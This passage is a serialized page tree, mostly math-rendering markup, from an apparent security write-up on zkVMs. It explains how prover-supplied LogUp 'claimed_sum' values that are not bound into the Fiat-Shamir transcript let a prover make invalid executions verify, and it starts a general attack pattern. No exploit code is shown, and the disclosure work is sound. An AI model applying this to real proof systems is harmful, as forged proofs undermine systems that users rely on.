type":24,"tag":83,"props":113403,"children":113404},{},[],{"type":24,"tag":83,"props":113406,"children":113408},{"className":113407},[21479,113098],[],{"type":24,"tag":25,"props":113410,"children":113411},{},[113412,113414,113439],{"type":29,"value":113413},"for random challenge ",{"type":24,"tag":32,"props":113415,"children":113417},{"className":113416},[3726,3727],[113418],{"type":24,"tag":83,"props":113419,"children":113421},{"className":113420},[3732],[113422],{"type":24,"tag":83,"props":113423,"children":113425},{"className":113424,"ariaHidden":1237},[3737],[113426],{"type":24,"tag":83,"props":113427,"children":113429},{"className":113428},[3742],[113430,113434],{"type":24,"tag":83,"props":113431,"children":113433},{"className":113432,"style":110421},[3747],[],{"type":24,"tag":83,"props":113435,"children":113437},{"className":113436,"style":113137},[3753,21328],[113438],{"type":29,"value":113140},{"type":29,"value":113440},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":24,"tag":25,"props":113442,"children":113443},{},[113444,113449],{"type":24,"tag":2040,"props":113445,"children":113446},{},[113447],{"type":29,"value":113448},"In zkVMs:",{"type":29,"value":113450}," Different components emit and consume lookup tuples:",{"type":24,"tag":16422,"props":113452,"children":113453},{},[113454,113541],{"type":24,"tag":67,"props":113455,"children":113456},{},[113457,113459,113485,113487,113512,113514,113540],{"type":29,"value":113458},"CPU emits: \"I read value ",{"type":24,"tag":32,"props":113460,"children":113462},{"className":113461},[3726,3727],[113463],{"type":24,"tag":83,"props":113464,"children":113466},{"className":113465},[3732],[113467],{"type":24,"tag":83,"props":113468,"children":113470},{"className":113469,"ariaHidden":1237},[3737],[113471],{"type":24,"tag":83,"props":113472,"children":113474},{"className":113473},[3742],[113475,113479],{"type":24,"tag":83,"props":113476,"children":113478},{"className":113477,"style":110421},[3747],[],{"type":24,"tag":83,"props":113480,"children":113482},{"className":113481,"style":93246},[3753,21328],[113483],{"type":29,"value":113484},"v",{"type":29,"value":113486}," from address ",{"type":24,"tag":32,"props":113488,"children":113490},{"className":113489},[3726,3727],[113491],{"type":24,"tag":83,"props":113492,"children":113494},{"className":113493},[3732],[113495],{"type":24,"tag":83,"props":113496,"children":113498},{"className":113497,"ariaHidden":1237},[3737],[113499],{"type":24,"tag":83,"props":113500,"children":113502},{"className":113501},[3742],[113503,113507],{"type":24,"tag":83,"props":113504,"children":113506},{"className":113505,"style":110421},[3747],[],{"type":24,"tag":83,"props":113508,"children":113510},{"className":113509},[3753,21328],[113511],{"type":29,"value":2033},{"type":29,"value":113513}," at time ",{"type":24,"tag":32,"props":113515,"children":113517},{"className":113516},[3726,3727],[113518],{"type":24,"tag":83,"props":113519,"children":113521},{"className":113520},[3732],[113522],{"type":24,"tag":83,"props":113523,"children":113525},{"className":113524,"ariaHidden":1237},[3737],[113526],{"type":24,"tag":83,"props":113527,"children":113529},{"className":113528},[3742],[113530,113535],{"type":24,"tag":83,"props":113531,"children":113534},{"className":113532,"style":113533},[3747],"height:0.6151em;",[],{"type":24,"tag":83,"props":113536,"children":113538},{"className":113537},[3753,21328],[113539],{"type":29,"value":21470},{"type":29,"value":19800},{"type":24,"tag":67,"props":113542,"children":113543},{},[113544,113546,113571,113573,113598,113600,113625],{"type":29,"value":113545},"Memory table consumes: \"At time ",{"type":24,"tag":32,"props":113547,"children":113549},{"className":113548},[3726,3727],[113550],{"type":24,"tag":83,"props":113551,"children":113553},{"className":113552},[3732],[113554],{"type":24,"tag":83,"props":113555,"children":113557},{"className":113556,"ariaHidden":1237},[3737],[113558],{"type":24,"tag":83,"props":113559,"children":113561},{"className":113560},[3742],[113562,113566],{"type":24,"tag":83,"props":113563,"children":113565},{"className":113564,"style":113533},[3747],[],{"type":24,"tag":83,"props":113567,"children":113569},{"className":113568},[3753,21328],[113570],{"type":29,"value":21470},{"type":29,"value":113572},", address ",{"type":24,"tag":32,"props":113574,"children":113576},{"className":113575},[3726,3727],[113577],{"type":24,"tag":83,"props":113578,"children":113580},{"className":113579},[3732],[113581],{"type":24,"tag":83,"props":113582,"children":113584},{"className":113583,"ariaHidden":1237},[3737],[113585],{"type":24,"tag":83,"props":113586,"children":113588},{"className":113587},[3742],[113589,113593],{"type":24,"tag":83,"props":113590,"children":113592},{"className":113591,"style":110421},[3747],[],{"type":24,"tag":83,"props":113594,"children":113596},{"className":113595},[3753,21328],[113597],{"type":29,"value":2033},{"type":29,"value":113599}," contained ",{"type":24,"tag":32,"props":113601,"children":113603},{"className":113602},[3726,3727],[113604],{"type":24,"tag":83,"props":113605,"children":113607},{"className":113606},[3732],[113608],{"type":24,"tag":83,"props":113609,"children":113611},{"className":113610,"ariaHidden":1237},[3737],[113612],{"type":24,"tag":83,"props":113613,"children":113615},{"className":113614},[3742],[113616,113620],{"type":24,"tag":83,"props":113617,"children":113619},{"className":113618,"style":110421},[3747],[],{"type":24,"tag":83,"props":113621,"children":113623},{"className":113622,"style":93246},[3753,21328],[113624],{"type":29,"value":113484},{"type":29,"value":19800},{"type":24,"tag":25,"props":113627,"children":113628},{},[113629],{"type":29,"value":113630},"If everything balances, the execution is consistent.",{"type":24,"tag":25,"props":113632,"children":113633},{},[113634,113639],{"type":24,"tag":2040,"props":113635,"children":113636},{},[113637],{"type":29,"value":113638},"The claimed_sum:",{"type":29,"value":113640}," Each component computes its contribution to the LogUp sum:",{"type":24,"tag":25,"props":113642,"children":113643},{},[113644],{"type":24,"tag":32,"props":113645,"children":113647},{"className":113646},[3726,3727],[113648],{"type":24,"tag":83,"props":113649,"children":113651},{"className":113650},[3732],[113652],{"type":24,"tag":83,"props":113653,"children":113655},{"className":113654,"ariaHidden":1237},[3737],[113656,113754,114005],{"type":24,"tag":83,"props":113657,"children":113659},{"className":113658},[3742],[113660,113664,113674,113679,113741,113745,113750],{"type":24,"tag":83,"props":113661,"children":113663},{"className":113662,"style":94173},[3747],[],{"type":24,"tag":83,"props":113665,"children":113667},{"className":113666},[3753,29],[113668],{"type":24,"tag":83,"props":113669,"children":113671},{"className":113670},[3753],[113672],{"type":29,"value":113673},"claimed",{"type":24,"tag":83,"props":113675,"children":113677},{"className":113676,"style":92760},[3753],[113678],{"type":29,"value":2827},{"type":24,"tag":83,"props":113680,"children":113682},{"className":113681},[3753],[113683,113692],{"type":24,"tag":83,"props":113684,"children":113686},{"className":113685},[3753,29],[113687],{"type":24,"tag":83,"props":113688,"children":113690},{"className":113689},[3753],[113691],{"type":29,"value":76347},{"type":24,"tag":83,"props":113693,"children":113695},{"className":113694},[3769],[113696],{"type":24,"tag":83,"props":113697,"children":113699},{"className":113698},[3774,21382],[113700,113730],{"type":24,"tag":83,"props":113701,"children":113703},{"className":113702},[3779],[113704,113725],{"type":24,"tag":83,"props":113705,"children":113707},{"className":113706,"style":93289},[3784],[113708],{"type":24,"tag":83,"props":113709,"children":113711},{"style":113710},"top:-2.55em;margin-right:0.05em;",[113712,113716],{"type":24,"tag":83,"props":113713,"children":113715},{"className":113714,"style":3794},[3793],[],{"type":24,"tag":83,"props":113717,"children":113719},{"className":113718},[3799,3800,3801,3802],[113720],{"type":24,"tag":83,"props":113721,"children":113723},{"className":113722},[3753,21328,3802],[113724],{"type":29,"value":3482},{"type":24,"tag":83,"props":113726,"children":113728},{"className":113727},[21485],[113729],{"type":29,"value":21488},{"type":24,"tag":83,"props":113731,"children":113733},{"className":113732},[3779],[113734],{"type":24,"tag":83,"props":113735,"children":113737},{"className":113736,"style":92843},[3784],[113738],{"type":24,"tag":83,"props":113739,"children":113740},{},[],{"type":24,"tag":83,"props":113742,"children":113744},{"className":113743,"style":3931},[3833],[],{"type":24,"tag":83,"props":113746,"children":113748},{"className":113747},[3936],[113749],{"type":29,"value":1275},{"type":24,"tag":83,"props":113751,"children":113753},{"className":113752,"style":3931},[3833],[],{"type":24,"tag":83,"props":113755,"children":113757},{"className":113756},[3742],[113758,113763,113823,113827,113992,113996,114001],{"type":24,"tag":83,"props":113759,"children":113762},{"className":113760,"style":113761},[3747],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":24,"tag":83,"props":113764,"children":113766},{"className":113765},[21364],[113767,113772],{"type":24,"tag":83,"props":113768,"children":113770},{"className":113769,"style":21371},[21364,21369,21370],[113771],{"type":29,"value":108375},{"type":24,"tag":83,"props":113773,"children":113775},{"className":113774},[3769],[113776],{"type":24,"tag":83,"props":113777,"children":113779},{"className":113778},[3774,21382],[113780,113811],{"type":24,"tag":83,"props":113781,"children":113783},{"className":113782},[3779],[113784,113806],{"type":24,"tag":83,"props":113785,"children":113788},{"className":113786,"style":113787},[3784],"height:0.162em;",[113789],{"type":24,"tag":83,"props":113790,"children":113791},{"style":21395},[113792,113796],{"type":24,"tag":83,"props":113793,"children":113795},{"className":113794,"style":3794},[3793],[],{"type":24,"tag":83,"props":113797,"children":113799},{"className":113798},[3799,3800,3801,3802],[113800],{"type":24,"tag":83,"props":113801,"children":113804},{"className":113802,"style":113803},[3753,21328,3802],"margin-right:0.05724em;",[113805],{"type":29,"value":8401},{"type":24,"tag":83,"props":113807,"children":113809},{"className":113808},[21485],[113810],{"type":29,"value":21488},{"type":24,"tag":83,"props":113812,"children":113814},{"className":113813},[3779],[113815],{"type":24,"tag":83,"props":113816,"children":113819},{"className":113817,"style":113818},[3784],"height:0.4358em;",[113820],{"type":24,"tag":83,"props":113821,"children":113822},{},[],{"type":24,"tag":83,"props":113824,"children":113826},{"className":113825,"style":3872},[3833],[],{"type":24,"tag":83,"props":113828,"children":113830},{"className":113829},[3753],[113831,113835,113988],{"type":24,"tag":83,"props":113832,"children":113834},{"className":113833},[21457,113098],[],{"type":24,"tag":83,"props":113836,"children":113838},{"className":113837},[113103],[113839],{"type":24,"tag":83,"props":113840,"children":113842},{"className":113841},[3774,21382],[113843,113976],{"type":24,"tag":83,"props":113844,"children":113846},{"className":113845},[3779],[113847,113971],{"type":24,"tag":83,"props":113848,"children":113850},{"className":113849,"style":113116},[3784],[113851,113940,113951],{"type":24,"tag":83,"props":113852,"children":113853},{"style":113120},[113854,113858],{"type":24,"tag":83,"props":113855,"children":113857},{"className":113856,"style":111751},[3793],[],{"type":24,"tag":83,"props":113859,"children":113861},{"className":113860},[3799,3800,3801,3802],[113862],{"type":24,"tag":83,"props":113863,"children":113865},{"className":113864},[3753,3802],[113866,113871,113876],{"type":24,"tag":83,"props":113867,"children":113869},{"className":113868,"style":113137},[3753,21328,3802],[113870],{"type":29,"value":113140},{"type":24,"tag":83,"props":113872,"children":113874},{"className":113873},[3839,3802],[113875],{"type":29,"value":3813},{"type":24,"tag":83,"props":113877,"children":113879},{"className":113878},[3753,3802],[113880,113889],{"type":24,"tag":83,"props":113881,"children":113883},{"className":113882},[3753,29,3802],[113884],{"type":24,"tag":83,"props":113885,"children":113887},{"className":113886},[3753,3802],[113888],{"type":29,"value":61723},{"type":24,"tag":83,"props":113890,"children":113892},{"className":113891},[3769],[113893],{"type":24,"tag":83,"props":113894,"children":113896},{"className":113895},[3774,21382],[113897,113928],{"type":24,"tag":83,"props":113898,"children":113900},{"className":113899},[3779],[113901,113923],{"type":24,"tag":83,"props":113902,"children":113905},{"className":113903,"style":113904},[3784],"height:0.3281em;",[113906],{"type":24,"tag":83,"props":113907,"children":113909},{"style":113908},"top:-2.357em;margin-right:0.0714em;",[113910,113914],{"type":24,"tag":83,"props":113911,"children":113913},{"className":113912,"style":108440},[3793],[],{"type":24,"tag":83,"props":113915,"children":113917},{"className":113916},[3799,108445,108446,3802],[113918],{"type":24,"tag":83,"props":113919,"children":113921},{"className":113920,"style":113803},[3753,21328,3802],[113922],{"type":29,"value":8401},{"type":24,"tag":83,"props":113924,"children":113926},{"className":113925},[21485],[113927],{"type":29,"value":21488},{"type":24,"tag":83,"props":113929,"children":113931},{"className":113930},[3779],[113932],{"type":24,"tag":83,"props":113933,"children":113936},{"className":113934,"style":113935},[3784],"height:0.2819em;",[113937],{"type":24,"tag":83,"props":113938,"children":113939},{},[],{"type":24,"tag":83,"props":113941,"children":113942},{"style":113153},[113943,113947],{"type":24,"tag":83,"props":113944,"children":113946},{"className":113945,"style":111751},[3793],[],{"type":24,"tag":83,"props":113948,"children":113950},{"className":113949,"style":113163},[113162],[],{"type":24,"tag":83,"props":113952,"children":113953},{"style":113167},[113954,113958],{"type":24,"tag":83,"props":113955,"children":113957},{"className":113956,"style":111751},[3793],[],{"type":24,"tag":83,"props":113959,"children":113961},{"className":113960},[3799,3800,3801,3802],[113962],{"type":24,"tag":83,"props":113963,"children":113965},{"className":113964},[3753,3802],[113966],{"type":24,"tag":83,"props":113967,"children":113969},{"className":113968},[3753,3802],[113970],{"type":29,"value":3756},{"type":24,"tag":83,"props":113972,"children":113974},{"className":113973},[21485],[113975],{"type":29,"value":21488},{"type":24,"tag":83,"props":113977,"children":113979},{"className":113978},[3779],[113980],{"type":24,"tag":83,"props":113981,"children":113984},{"className":113982,"style":113983},[3784],"height:0.5423em;",[113985],{"type":24,"tag":83,"props":113986,"children":113987},{},[],{"type":24,"tag":83,"props":113989,"children":113991},{"className":113990},[21479,113098],[],{"type":24,"tag":83,"props":113993,"children":113995},{"className":113994,"style":3834},[3833],[],{"type":24,"tag":83,"props":113997,"children":113999},{"className":113998},[3839],[114000],{"type":29,"value":3813},{"type":24,"tag":83,"props":114002,"children":114004},{"className":114003,"style":3834},[3833],[],{"type":24,"tag":83,"props":114006,"children":114008},{"className":114007},[3742],[114009,114014,114072,114076],{"type":24,"tag":83,"props":114010,"children":114013},{"className":114011,"style":114012},[3747],"height:1.296em;vertical-align:-0.4509em;",[],{"type":24,"tag":83,"props":114015,"children":114017},{"className":114016},[21364],[114018,114023],{"type":24,"tag":83,"props":114019,"children":114021},{"className":114020,"style":21371},[21364,21369,21370],[114022],{"type":29,"value":108375},{"type":24,"tag":83,"props":114024,"children":114026},{"className":114025},[3769],[114027],{"type":24,"tag":83,"props":114028,"children":114030},{"className":114029},[3774,21382],[114031,114060],{"type":24,"tag":83,"props":114032,"children":114034},{"className":114033},[3779],[114035,114055],{"type":24,"tag":83,"props":114036,"children":114038},{"className":114037,"style":113252},[3784],[114039],{"type":24,"tag":83,"props":114040,"children":114041},{"style":21395},[114042,114046],{"type":24,"tag":83,"props":114043,"children":114045},{"className":114044,"style":3794},[3793],[],{"type":24,"tag":83,"props":114047,"children":114049},{"className":114048},[3799,3800,3801,3802],[114050],{"type":24,"tag":83,"props":114051,"children":114053},{"className":114052,"style":94189},[3753,21328,3802],[114054],{"type":29,"value":88397},{"type":24,"tag":83,"props":114056,"children":114058},{"className":114057},[21485],[114059],{"type":29,"value":21488},{"type":24,"tag":83,"props":114061,"children":114063},{"className":114062},[3779],[114064],{"type":24,"tag":83,"props":114065,"children":114068},{"className":114066,"style":114067},[3784],"height:0.2997em;",[114069],{"type":24,"tag":83,"props":114070,"children":114071},{},[],{"type":24,"tag":83,"props":114073,"children":114075},{"className":114074,"style":3872},[3833],[],{"type":24,"tag":83,"props":114077,"children":114079},{"className":114078},[3753],[114080,114084,114237],{"type":24,"tag":83,"props":114081,"children":114083},{"className":114082},[21457,113098],[],{"type":24,"tag":83,"props":114085,"children":114087},{"className":114086},[113103],[114088],{"type":24,"tag":83,"props":114089,"children":114091},{"className":114090},[3774,21382],[114092,114225],{"type":24,"tag":83,"props":114093,"children":114095},{"className":114094},[3779],[114096,114220],{"type":24,"tag":83,"props":114097,"children":114099},{"className":114098,"style":113116},[3784],[114100,114189,114200],{"type":24,"tag":83,"props":114101,"children":114102},{"style":113120},[114103,114107],{"type":24,"tag":83,"props":114104,"children":114106},{"className":114105,"style":111751},[3793],[],{"type":24,"tag":83,"props":114108,"children":114110},{"className":114109},[3799,3800,3801,3802],[114111],{"type":24,"tag":83,"props":114112,"children":114114},{"className":114113},[3753,3802],[114115,114120,114125],{"type":24,"tag":83,"props":114116,"children":114118},{"className":114117,"style":113137},[3753,21328,3802],[114119],{"type":29,"value":113140},{"type":24,"tag":83,"props":114121,"children":114123},{"className":114122},[3839,3802],[114124],{"type":29,"value":3813},{"type":24,"tag":83,"props":114126,"children":114128},{"className":114127},[3753,3802],[114129,114139],{"type":24,"tag":83,"props":114130,"children":114132},{"className":114131},[3753,29,3802],[114133],{"type":24,"tag":83,"props":114134,"children":114136},{"className":114135},[3753,3802],[114137],{"type":29,"value":114138},"consume",{"type":24,"tag":83,"props":114140,"children":114142},{"className":114141},[3769],[114143],{"type":24,"tag":83,"props":114144,"children":114146},{"className":114145},[3774,21382],[114147,114177],{"type":24,"tag":83,"props":114148,"children":114150},{"className":114149},[3779],[114151,114172],{"type":24,"tag":83,"props":114152,"children":114154},{"className":114153,"style":111912},[3784],[114155],{"type":24,"tag":83,"props":114156,"children":114158},{"style":114157},"top:-2.3488em;margin-right:0.0714em;",[114159,114163],{"type":24,"tag":83,"props":114160,"children":114162},{"className":114161,"style":108440},[3793],[],{"type":24,"tag":83,"props":114164,"children":114166},{"className":114165},[3799,108445,108446,3802],[114167],{"type":24,"tag":83,"props":114168,"children":114170},{"className":114169,"style":94189},[3753,21328,3802],[114171],{"type":29,"value":88397},{"type":24,"tag":83,"props":114173,"children":114175},{"className":114174},[21485],[114176],{"type":29,"value":21488},{"type":24,"tag":83,"props":114178,"children":114180},{"className":114179},[3779],[114181],{"type":24,"tag":83,"props":114182,"children":114185},{"className":114183,"style":114184},[3784],"height:0.1512em;",[114186],{"type":24,"tag":83,"props":114187,"children":114188},{},[],{"type":24,"tag":83,"props":114190,"children":114191},{"style":113153},[114192,114196],{"type":24,"tag":83,"props":114193,"children":114195},{"className":114194,"style":111751},[3793],[],{"type":24,"tag":83,"props":114197,"children":114199},{"className":114198,"style":113163},[113162],[],{"type":24,"tag":83,"props":114201,"children":114202},{"style":113167},[114203,114207],{"type":24,"tag":83,"props":114204,"children":114206},{"className":114205,"style":111751},[3793],[],{"type":24,"tag":83,"props":114208,"children":114210},{"className":114209},[3799,3800,3801,3802],[114211],{"type":24,"tag":83,"props":114212,"children":114214},{"className":114213},[3753,3802],[114215],{"type":24,"tag":83,"props":114216,"children":114218},{"className":114217},[3753,3802],[114219],{"type":29,"value":3756},{"type":24,"tag":83,"props":114221,"children":114223},{"className":114222},[21485],[114224],{"type":29,"value":21488},{"type":24,"tag":83,"props":114226,"children":114228},{"className":114227},[3779],[114229],{"type":24,"tag":83,"props":114230,"children":114233},{"className":114231,"style":114232},[3784],"height:0.4509em;",[114234],{"type":24,"tag":83,"props":114235,"children":114236},{},[],{"type":24,"tag":83,"props":114238,"children":114240},{"className":114239},[21479,113098],[],{"type":24,"tag":25,"props":114242,"children":114243},{},[114244,114246,114428],{"type":29,"value":114245},"The global check: ",{"type":24,"tag":32,"props":114247,"children":114249},{"className":114248},[3726,3727],[114250],{"type":24,"tag":83,"props":114251,"children":114253},{"className":114252},[3732],[114254],{"type":24,"tag":83,"props":114255,"children":114257},{"className":114256,"ariaHidden":1237},[3737],[114258,114415],{"type":24,"tag":83,"props":114259,"children":114261},{"className":114260},[3742],[114262,114266,114323,114327,114336,114341,114402,114406,114411],{"type":24,"tag":83,"props":114263,"children":114265},{"className":114264,"style":92702},[3747],[],{"type":24,"tag":83,"props":114267,"children":114269},{"className":114268},[21364],[114270,114275],{"type":24,"tag":83,"props":114271,"children":114273},{"className":114272,"style":21371},[21364,21369,21370],[114274],{"type":29,"value":108375},{"type":24,"tag":83,"props":114276,"children":114278},{"className":114277},[3769],[114279],{"type":24,"tag":83,"props":114280,"children":114282},{"className":114281},[3774,21382],[114283,114312],{"type":24,"tag":83,"props":114284,"children":114286},{"className":114285},[3779],[114287,114307],{"type":24,"tag":83,"props":114288,"children":114290},{"className":114289,"style":113787},[3784],[114291],{"type":24,"tag":83,"props":114292,"children":114293},{"style":21395},[114294,114298],{"type":24,"tag":83,"props":114295,"children":114297},{"className":114296,"style":3794},[3793],[],{"type":24,"tag":83,"props":114299,"children":114301},{"className":114300},[3799,3800,3801,3802],[114302],{"type":24,"tag":83,"props":114303,"children":114305},{"className":114304},[3753,21328,3802],[114306],{"type":29,"value":3482},{"type":24,"tag":83,"props":114308,"children":114310},{"className":114309},[21485],[114311],{"type":29,"value":21488},{"type":24,"tag":83,"props":114313,"children":114315},{"className":114314},[3779],[114316],{"type":24,"tag":83,"props":114317,"children":114319},{"className":114318,"style":114067},[3784],[114320],{"type":24,"tag":83,"props":114321,"children":114322},{},[],{"type":24,"tag":83,"props":114324,"children":114326},{"className":114325,"style":3872},[3833],[],{"type":24,"tag":83,"props":114328,"children":114330},{"className":114329},[3753,29],[114331],{"type":24,"tag":83,"props":114332,"children":114334},{"className":114333},[3753],[114335],{"type":29,"value":113673},{"type":24,"tag":83,"props":114337,"children":114339},{"className":114338,"style":92760},[3753],[114340],{"type":29,"value":2827},{"type":24,"tag":83,"props":114342,"children":114344},{"className":114343},[3753],[114345,114354],{"type":24,"tag":83,"props":114346,"children":114348},{"className":114347},[3753,29],[114349],{"type":24,"tag":83,"props":114350,"children":114352},{"className":114351},[3753],[114353],{"type":29,"value":76347},{"type":24,"tag":83,"props":114355,"children":114357},{"className":114356},[3769],[114358],{"type":24,"tag":83,"props":114359,"children":114361},{"className":114360},[3774,21382],[114362,114391],{"type":24,"tag":83,"props":114363,"children":114365},{"className":114364},[3779],[114366,114386],{"type":24,"tag":83,"props":114367,"children":114369},{"className":114368,"style":93289},[3784],[114370],{"type":24,"tag":83,"props":114371,"children":114372},{"style":113710},[114373,114377],{"type":24,"tag":83,"props":114374,"children":114376},{"className":114375,"style":3794},[3793],[],{"type":24,"tag":83,"props":114378,"children":114380},{"className":114379},[3799,3800,3801,3802],[114381],{"type":24,"tag":83,"props":114382,"children":114384},{"className":114383},[3753,21328,3802],[114385],{"type":29,"value":3482},{"type":24,"tag":83,"props":114387,"children":114389},{"className":114388},[21485],[114390],{"type":29,"value":21488},{"type":24,"tag":83,"props":114392,"children":114394},{"className":114393},[3779],[114395],{"type":24,"tag":83,"props":114396,"children":114398},{"className":114397,"style":92843},[3784],[114399],{"type":24,"tag":83,"props":114400,"children":114401},{},[],{"type":24,"tag":83,"props":114403,"children":114405},{"className":114404,"style":3931},[3833],[],{"type":24,"tag":83,"props":114407,"children":114409},{"className":114408},[3936],[114410],{"type":29,"value":1275},{"type":24,"tag":83,"props":114412,"children":114414},{"className":114413,"style":3931},[3833],[],{"type":24,"tag":83,"props":114416,"children":114418},{"className":114417},[3742],[114419,114423],{"type":24,"tag":83,"props":114420,"children":114422},{"className":114421,"style":93791},[3747],[],{"type":24,"tag":83,"props":114424,"children":114426},{"className":114425},[3753],[114427],{"type":29,"value":1166},{"type":29,"value":161},{"type":24,"tag":25,"props":114430,"children":114431},{},[114432,114437,114439,114445],{"type":24,"tag":2040,"props":114433,"children":114434},{},[114435],{"type":29,"value":114436},"Why this is vulnerable:",{"type":29,"value":114438}," The ",{"type":24,"tag":32,"props":114440,"children":114442},{"className":114441},[],[114443],{"type":29,"value":114444},"claimed_sum",{"type":29,"value":114446}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":24,"tag":18531,"props":114448,"children":114449},{},[],{"type":24,"tag":51,"props":114451,"children":114453},{"id":114452},"the-universal-attack-pattern",[114454],{"type":29,"value":114455},"The Universal Attack Pattern",{"type":24,"tag":25,"props":114457,"children":114458},{},[114459],{"type":29,"value":114460},"Now we can describe the attack pattern that works on all six systems:",{"type":24,"tag":25,"props":114462,"children":114463},{},[114464],{"type":24,"tag":2510,"props":114465,"children":114468},{"alt":114466,"src":114467},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":24,"tag":25,"props":114470,"children":114471},{},[114472,114474,114499],{"type":29,"value":114473},"When a value ",{"type":24,"tag":32,"props":114475,"children":114477},{"className":114476},[3726,3727],[114478],{"type":24,"tag":83,"props":114479,"children":114481},{"className":114480},[3732],[114482],{"type":24,"tag":83,"props":114483,"children":114485},{"className":114484,"ariaHidden":1237},[3737],[114486],{"type":24,"tag":83,"props":114487,"children":114489},{"className":114488},[3742],[114490,114494],{"type":24,"tag":83,"props":114491,"children":114493},{"className":114492,"style":21323},[3747],[],{"type":24,"tag":83,"props":114495,"children":114497},{"className":114496,"style":107778},[3753,21328],[114498],{"type":29,"value":108102},{"type":29,"value":114500}," isn't transcript-bound:",{"type":24,"tag":63,"props":114502,"children":114503},{},[114504,114535,114612,114757],{"type":24,"tag":67,"props":114505,"children":114506},{},[114507,114509,114534],{"type":29,"value":114508},"Challenges are fixed (independent of ",{"type":24,"tag":32,"props":114510,"children":114512},{"className":114511},[3726,3727],[114513],{"type":24,"tag":83,"props":114514,"children":114516},{"className":114515},[3732],[114517],{"type":24,"tag":83,"props":114518,"children":114520},{"className":114519,"ariaHidden":1237},[3737],[114521],{"type":24,"tag":83,"props":114522,"children":114524},{"className":114523},[3742],[114525,114529],{"type":24,"tag":83,"props":114526,"children":114528},{"className":114527,"style":21323},[3747],[],{"type":24,"tag":83,"props":114530,"children":114532},{"className":114531,"style":107778},[3753,21328],[114533],{"type":29,"value":108102},{"type":29,"value":2872},{"type":24,"tag":67,"props":114536,"children":114537},{},[114538,114540],{"type":29,"value":114539},"The verification equation has form: ",{"type":24,"tag":32,"props":114541,"children":114543},{"className":114542},[3726,3727],[114544],{"type":24,"tag":83,"props":114545,"children":114547},{"className":114546},[3732],[114548],{"type":24,"tag":83,"props":114549,"children":114551},{"className":114550,"ariaHidden":1237},[3737],[114552,114593],{"type":24,"tag":83,"props":114553,"children":114555},{"className":114554},[3742],[114556,114560,114565,114570,114575,114580,114584,114589],{"type":24,"tag":83,"props":114557,"children":114559},{"className":114558,"style":3854},[3747],[],{"type":24,"tag":83,"props":114561,"children":114563},{"className":114562,"style":95114},[3753,21328],[114564],{"type":29,"value":32824},{"type":24,"tag":83,"props":114566,"children":114568},{"className":114567},[21457],[114569],{"type":29,"value":558},{"type":24,"tag":83,"props":114571,"children":114573},{"className":114572,"style":107778},[3753,21328],[114574],{"type":29,"value":108102},{"type":24,"tag":83,"props":114576,"children":114578},{"className":114577},[21479],[114579],{"type":29,"value":2872},{"type":24,"tag":83,"props":114581,"children":114583},{"className":114582,"style":3931},[3833],[],{"type":24,"tag":83,"props":114585,"children":114587},{"className":114586},[3936],[114588],{"type":29,"value":1275},{"type":24,"tag":83,"props":114590,"children":114592},{"className":114591,"style":3931},[3833],[],{"type":24,"tag":83,"props":114594,"children":114596},{"className":114595},[3742],[114597,114602],{"type":24,"tag":83,"props":114598,"children":114601},{"className":114599,"style":114600},[3747],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":24,"tag":83,"props":114603,"children":114605},{"className":114604},[3753,29],[114606],{"type":24,"tag":83,"props":114607,"children":114609},{"className":114608},[3753],[114610],{"type":29,"value":114611},"target",{"type":24,"tag":67,"props":114613,"children":114614},{},[114615,114616,114642,114644],{"type":29,"value":7227},{"type":24,"tag":32,"props":114617,"children":114619},{"className":114618},[3726,3727],[114620],{"type":24,"tag":83,"props":114621,"children":114623},{"className":114622},[3732],[114624],{"type":24,"tag":83,"props":114625,"children":114627},{"className":114626,"ariaHidden":1237},[3737],[114628],{"type":24,"tag":83,"props":114629,"children":114631},{"className":114630},[3742],[114632,114637],{"type":24,"tag":83,"props":114633,"children":114636},{"className":114634,"style":114635},[3747],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":24,"tag":83,"props":114638,"children":114640},{"className":114639,"style":95114},[3753,21328],[114641],{"type":29,"value":32824},{"type":29,"value":114643}," is linear: ",{"type":24,"tag":32,"props":114645,"children":114647},{"className":114646},[3726,3727],[114648],{"type":24,"tag":83,"props":114649,"children":114651},{"className":114650},[3732],[114652],{"type":24,"tag":83,"props":114653,"children":114655},{"className":114654,"ariaHidden":1237},[3737],[114656,114685,114712,114740],{"type":24,"tag":83,"props":114657,"children":114659},{"className":114658},[3742],[114660,114665,114672,114676,114681],{"type":24,"tag":83,"props":114661,"children":114664},{"className":114662,"style":114663},[3747],"height:0.4445em;",[],{"type":24,"tag":83,"props":114666,"children":114669},{"className":114667,"style":114668},[3753,21328],"margin-right:0.0037em;",[114670],{"type":29,"value":114671},"α",{"type":24,"tag":83,"props":114673,"children":114675},{"className":114674,"style":3834},[3833],[],{"type":24,"tag":83,"props":114677,"children":114679},{"className":114678},[3839],[114680],{"type":29,"value":110842},{"type":24,"tag":83,"props":114682,"children":114684},{"className":114683,"style":3834},[3833],[],{"type":24,"tag":83,"props":114686,"children":114688},{"className":114687},[3742],[114689,114694,114699,114703,114708],{"type":24,"tag":83,"props":114690,"children":114693},{"className":114691,"style":114692},[3747],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":24,"tag":83,"props":114695,"children":114697},{"className":114696,"style":107778},[3753,21328],[114698],{"type":29,"value":108102},{"type":24,"tag":83,"props":114700,"children":114702},{"className":114701,"style":3834},[3833],[],{"type":24,"tag":83,"props":114704,"children":114706},{"className":114705},[3839],[114707],{"type":29,"value":4126},{"type":24,"tag":83,"props":114709,"children":114711},{"className":114710,"style":3834},[3833],[],{"type":24,"tag":83,"props":114713,"children":114715},{"className":114714},[3742],[114716,114720,114727,114731,114736],{"type":24,"tag":83,"props":114717,"children":114719},{"className":114718,"style":114635},[3747],[],{"type":24,"tag":83,"props":114721,"children":114724},{"className":114722,"style":114723},[3753,21328],"margin-right:0.05278em;",[114725],{"type":29,"value":114726},"β",{"type":24,"tag":83,"props":114728,"children":114730},{"className":114729,"style":3931},[3833],[],{"type":24,"tag":83,"props":114732,"children":114734},{"className":114733},[3936],[114735],{"type":29,"value":1275},{"type":24,"tag":83,"props":114737,"children":114739},{"className":114738,"style":3931},[3833],[],{"type":24,"tag":83,"props":114741,"children":114743},{"className":114742},[3742],[114744,114748],{"type":24,"tag":83,"props":114745,"children":114747},{"className":114746,"style":114600},[3747],[],{"type":24,"tag":83,"